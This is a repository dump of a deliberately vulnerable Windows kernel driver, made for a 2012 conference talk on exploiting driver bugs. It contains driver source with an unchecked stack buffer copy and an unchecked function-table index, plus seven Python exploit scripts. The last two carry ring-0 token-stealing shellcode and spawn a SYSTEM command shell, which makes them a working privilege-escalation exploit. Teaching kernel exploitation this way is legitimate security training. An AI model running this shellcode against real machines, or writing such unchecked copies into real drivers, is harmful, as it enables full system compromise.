├── driver ├── binary │ └── i386 │ │ └── vulnwindrv.sys └── source │ ├── makefile.def │ ├── sources │ ├── vulnwindrv.h │ ├── dumbfunc.c │ └── driver.c ├── README.md └── exploit ├── 01_bad_request.py ├── 02_good_request_with_subcall2.py ├── 03_good_request_with_subcall3_to_debug.py ├── 04_evil_subcall1_to_controlled_eip.py ├── 05_evil_subcall1_to_nops.py ├── 06_evil_subcall1_to_shellcode.py └── 07_evil_subcall1_to_shellcode_and_shell.py /driver/binary/i386/vulnwindrv.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/andrewkabai/vulnwindrv/HEAD/driver/binary/i386/vulnwindrv.sys -------------------------------------------------------------------------------- /driver/source/makefile.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | DumbDrvFunc 3 | VulnWinDrvHandleDumbFunc 4 | 5 | !INCLUDE $(NTMAKEENV)\makefile.def 6 | 7 | -------------------------------------------------------------------------------- /driver/source/sources: -------------------------------------------------------------------------------- 1 | TARGETNAME = vulnwindrv 2 | TARGETPATH = obj 3 | TARGETTYPE = DRIVER 4 | 5 | INCLUDES = %BUILD%\inc 6 | LIBS = %BUILD%\lib 7 | 8 | SOURCES = driver.c dumbfunc.c -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | vulnwindrv 2 | ========== 3 | 4 | Vulnerable Windows Driver with exploits which were used for demonstration purposes on Hunting and exploiting bugs in kernel drivers presentation at Hacktivity 2012 conference -------------------------------------------------------------------------------- /exploit/01_bad_request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() input_size = 40 input_buffer = "\x41" * input_size out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) -------------------------------------------------------------------------------- /exploit/02_good_request_with_subcall2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() input_size = 40 input_buffer = struct.pack("L", 0x0BADF00D) + struct.pack("L", 0x000001) input_buffer = input_buffer + "\x41" * (input_size - len(input_buffer)) out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) -------------------------------------------------------------------------------- /exploit/03_good_request_with_subcall3_to_debug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() input_size = 40 input_buffer = struct.pack("L", 0x0BADF00D) + struct.pack("L", 0x000002) input_buffer = input_buffer + "\x41" * (input_size - len(input_buffer)) out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) -------------------------------------------------------------------------------- /driver/source/vulnwindrv.h: -------------------------------------------------------------------------------- 1 | #ifndef __VulnWinDrv_H__ 2 | #define __VulnWinDrv_H__ 3 | 4 | typedef char * PCHAR; 5 | 6 | #define __USER 7 | 8 | #define DEVICEIO_VulnWinDrv_DUMBFUNC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) 9 | 10 | NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath); 11 | 12 | DRIVER_UNLOAD VulnWinDrvUnload; 13 | VOID VulnWinDrvUnload(PDRIVER_OBJECT DriverObject); 14 | 15 | __drv_dispatchType(IRP_MJ_CREATE) DRIVER_DISPATCH VulnWinDrvCreate; 16 | __drv_dispatchType(IRP_MJ_CLOSE) DRIVER_DISPATCH VulnWinDrvClose; 17 | __drv_dispatchType(IRP_MJ_DEVICE_CONTROL) DRIVER_DISPATCH VulnWinDrvDeviceControl; 18 | DRIVER_DISPATCH VulnWinDrvNotSupported; 19 | 20 | NTSTATUS __declspec(dllexport) VulnWinDrvHandleIoctlDumbFunc(PIRP Irp, PIO_STACK_LOCATION pIoStackIrp); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /exploit/04_evil_subcall1_to_controlled_eip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() input_size = 44 input_buffer = struct.pack("L", 0x0BADF00D) + struct.pack("L", 0x000000) input_buffer = input_buffer + "\x41" * (input_size - len(input_buffer) - 4) + "\x42" * 4 out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) -------------------------------------------------------------------------------- /exploit/05_evil_subcall1_to_nops.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() ring0_shellc = "\x90" * 100 + "\xc3" eip = id(ring0_shellc) + 20 input_size = 44 input_buffer = struct.pack("L", 0x0BADF00D) + struct.pack("L", 0x000000) input_buffer = input_buffer + "\x41" * (input_size - len(input_buffer) - 4) input_buffer = input_buffer + struct.pack("L", eip) out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) -------------------------------------------------------------------------------- /exploit/06_evil_subcall1_to_shellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() ring0_shellc = "\x90" * 10 ring0_shellc += "\x60\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00" ring0_shellc += "\x00\x04\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\x61\xc3" eip = id(ring0_shellc) + 20 input_size = 44 input_buffer = struct.pack("L", 0x0BADF00D) + struct.pack("L", 0x000000) input_buffer += "\x41" * (input_size - len(input_buffer) - 4) input_buffer += struct.pack("L", eip) out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) -------------------------------------------------------------------------------- /exploit/07_evil_subcall1_to_shellcode_and_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python from ctypes import * import struct import time import os kernel32 = windll.kernel32 if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL = 0x22E007 DEVICE_NAME = "\\\\.\\VulnWinDrv" dwReturn = c_ulong() ring0_shellc = "\x90" * 10 ring0_shellc += "\x60\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00" ring0_shellc += "\x00\x04\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\x61\xc3" eip = id(ring0_shellc) + 20 input_size = 44 input_buffer = struct.pack("L", 0x0BADF00D) + struct.pack("L", 0x000000) input_buffer += "\x41" * (input_size - len(input_buffer) - 4) input_buffer += struct.pack("L", eip) out_size = 40 output_buffer = "\x00" * out_size driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if driver_handle: print "(+) Trigger the vulnerable IOCTL..." dev_ioctl = kernel32.DeviceIoControl(driver_handle, IOCTL, input_buffer, input_size, output_buffer, out_size, byref(dwReturn), None) print "(+) Just a moment..." time.sleep(1) os.system("cmd.exe") -------------------------------------------------------------------------------- /driver/source/dumbfunc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "vulnwindrv.h" 4 | 5 | NTSTATUS __declspec(dllexport) DumbDrvFunc(UCHAR *stream, UINT32 len); 6 | static int ExceptionFilter(); 7 | void DumbSubFunc1(); 8 | void DumbSubFunc2(); 9 | void DumbSubFunc3(); 10 | void DumbSubFunc4(); 11 | 12 | #pragma alloc_text(PAGE, VulnWinDrvHandleIoctlDumbFunc) 13 | #pragma alloc_text(PAGE, DumbDrvFunc) 14 | #pragma alloc_text(PAGE, ExceptionFilter) 15 | #pragma alloc_text(PAGE, DumbSubFunc1) 16 | #pragma alloc_text(PAGE, DumbSubFunc2) 17 | #pragma alloc_text(PAGE, DumbSubFunc3) 18 | #pragma alloc_text(PAGE, DumbSubFunc4) 19 | 20 | #pragma auto_inline(off) 21 | 22 | static int ExceptionFilter() 23 | { 24 | PAGED_CODE(); 25 | return EXCEPTION_EXECUTE_HANDLER; 26 | } 27 | 28 | void DumbSubFunc1() 29 | { 30 | PAGED_CODE(); 31 | DbgPrint("[VulnWinDrv] 1. function called via jump table"); 32 | return; 33 | } 34 | 35 | void DumbSubFunc2() 36 | { 37 | PAGED_CODE(); 38 | DbgPrint("[VulnWinDrv] 2. function called via jump table"); 39 | return; 40 | } 41 | 42 | void DumbSubFunc3() 43 | { 44 | PAGED_CODE(); 45 | DbgPrint("[VulnWinDrv] 3. function called via jump table"); 46 | return; 47 | } 48 | 49 | void DumbSubFunc4() 50 | { 51 | PAGED_CODE(); 52 | DbgPrint("[VulnWinDrv] 4. function called via jump table"); 53 | return; 54 | } 55 | 56 | #define LOCAL_BUFF_SIZE 10 57 | NTSTATUS __declspec(dllexport) DumbDrvFunc(UCHAR *stream, UINT32 len) 58 | { 59 | long buff[LOCAL_BUFF_SIZE]; 60 | void (*fpointers[4])() = { &DumbSubFunc1, &DumbSubFunc2, &DumbSubFunc3, &DumbSubFunc4 }; 61 | NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; 62 | int subCallCode; 63 | 64 | PAGED_CODE(); 65 | __try 66 | { 67 | ProbeForRead(stream, len, TYPE_ALIGNMENT(long)); 68 | RtlCopyMemory(buff, stream, len); 69 | } 70 | __except(ExceptionFilter()) 71 | { 72 | NtStatus = GetExceptionCode(); 73 | return NtStatus; 74 | } 75 | 76 | if (buff[0] == 0x0badf00d) { 77 | subCallCode = buff[1]; 78 | (*fpointers[subCallCode])(); 79 | 80 | DbgPrint("[VulnWinDrv] Here comes some magic on the buffer, if I will have time to implement it :)"); 81 | 82 | NtStatus = STATUS_SUCCESS; 83 | } else { 84 | DbgPrint("[VulnWinDrv] No magic key found on the buffer"); 85 | } 86 | 87 | return NtStatus; 88 | } 89 | 90 | NTSTATUS __declspec(dllexport) VulnWinDrvHandleIoctlDumbFunc(PIRP Irp, PIO_STACK_LOCATION pIoStackIrp) 91 | { 92 | PCHAR pInputBuffer; 93 | UINT32 pInputLen; 94 | NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; 95 | 96 | PAGED_CODE(); 97 | pInputBuffer = pIoStackIrp->Parameters.DeviceIoControl.Type3InputBuffer; 98 | pInputLen = pIoStackIrp->Parameters.DeviceIoControl.InputBufferLength; 99 | 100 | if(pInputBuffer) { 101 | NtStatus = DumbDrvFunc(pInputBuffer, pInputLen); 102 | } 103 | return NtStatus; 104 | } 105 | 106 | #pragma auto_inline() 107 | -------------------------------------------------------------------------------- /driver/source/driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "vulnwindrv.h" 4 | 5 | #pragma warning(disable:4116) 6 | 7 | #pragma alloc_text(INIT, DriverEntry) 8 | #pragma alloc_text(PAGE, VulnWinDrvNotSupported) 9 | #pragma alloc_text(PAGE, VulnWinDrvCreate) 10 | #pragma alloc_text(PAGE, VulnWinDrvClose) 11 | #pragma alloc_text(PAGE, VulnWinDrvUnload) 12 | #pragma alloc_text(PAGE, VulnWinDrvDeviceControl) 13 | 14 | NTSTATUS VulnWinDrvNotSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) 15 | { 16 | NTSTATUS NtStatus = STATUS_NOT_SUPPORTED; 17 | 18 | PAGED_CODE(); 19 | return NtStatus; 20 | } 21 | 22 | NTSTATUS VulnWinDrvCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) 23 | { 24 | PAGED_CODE(); 25 | //DbgPrint("[VulnWinDrv] Device created"); 26 | return STATUS_SUCCESS; 27 | } 28 | 29 | NTSTATUS VulnWinDrvClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) 30 | { 31 | PAGED_CODE(); 32 | //DbgPrint("[VulnWinDrv] Device closed"); 33 | return STATUS_SUCCESS; 34 | } 35 | 36 | VOID VulnWinDrvUnload(PDRIVER_OBJECT DriverObject) 37 | { 38 | UNICODE_STRING usDosDeviceName; 39 | 40 | PAGED_CODE(); 41 | //DbgPrint("[VulnWinDrv] Unloading driver"); 42 | RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\VulnWinDrv"); 43 | IoDeleteSymbolicLink(&usDosDeviceName); 44 | IoDeleteDevice(DriverObject->DeviceObject); 45 | //DbgPrint("[VulnWinDrv] Driver unloaded"); 46 | } 47 | 48 | NTSTATUS VulnWinDrvDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) 49 | { 50 | NTSTATUS NtStatus = STATUS_NOT_SUPPORTED; 51 | PIO_STACK_LOCATION pIoStackIrp = NULL; 52 | 53 | PAGED_CODE(); 54 | pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); 55 | 56 | //DbgPrint("[VulnWinDrv] Processing IOCTL request"); 57 | 58 | if(pIoStackIrp) 59 | { 60 | switch(pIoStackIrp->Parameters.DeviceIoControl.IoControlCode) 61 | { 62 | case DEVICEIO_VulnWinDrv_DUMBFUNC: 63 | //DbgPrint("[VulnWinDrv] Calling IOCTL VulnWinDrv_STACKOVERFLOW"); 64 | NtStatus = VulnWinDrvHandleIoctlDumbFunc(Irp, pIoStackIrp); 65 | break; 66 | } 67 | } 68 | 69 | Irp->IoStatus.Status = NtStatus; 70 | Irp->IoStatus.Information = 0; 71 | 72 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 73 | return NtStatus; 74 | } 75 | 76 | NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) 77 | { 78 | PDEVICE_OBJECT pDeviceObject; 79 | NTSTATUS NtStatus = STATUS_SUCCESS; 80 | UNICODE_STRING usDriverName, usDosDeviceName; 81 | UINT32 i; 82 | 83 | PAGED_CODE(); 84 | RtlInitUnicodeString(&usDriverName, L"\\Device\\VulnWinDrv"); 85 | RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\VulnWinDrv"); 86 | NtStatus = IoCreateDevice(pDriverObject, 0, &usDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); 87 | 88 | if(NtStatus != STATUS_SUCCESS) 89 | { 90 | DbgPrint("[VulnWinDrv] Error during driver initializtaion"); 91 | return NtStatus; 92 | } 93 | 94 | for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) 95 | pDriverObject->MajorFunction[i] = VulnWinDrvNotSupported; 96 | 97 | pDriverObject->MajorFunction[IRP_MJ_CREATE] = VulnWinDrvCreate; 98 | pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = VulnWinDrvDeviceControl; 99 | pDriverObject->MajorFunction[IRP_MJ_CLOSE] = VulnWinDrvClose; 100 | 101 | pDriverObject->DriverUnload = VulnWinDrvUnload; 102 | pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING); 103 | IoCreateSymbolicLink(&usDosDeviceName, &usDriverName); 104 | 105 | //DbgPrint("[VulnWinDrv] Driver Loaded"); 106 | 107 | return NtStatus; 108 | } 109 | --------------------------------------------------------------------------------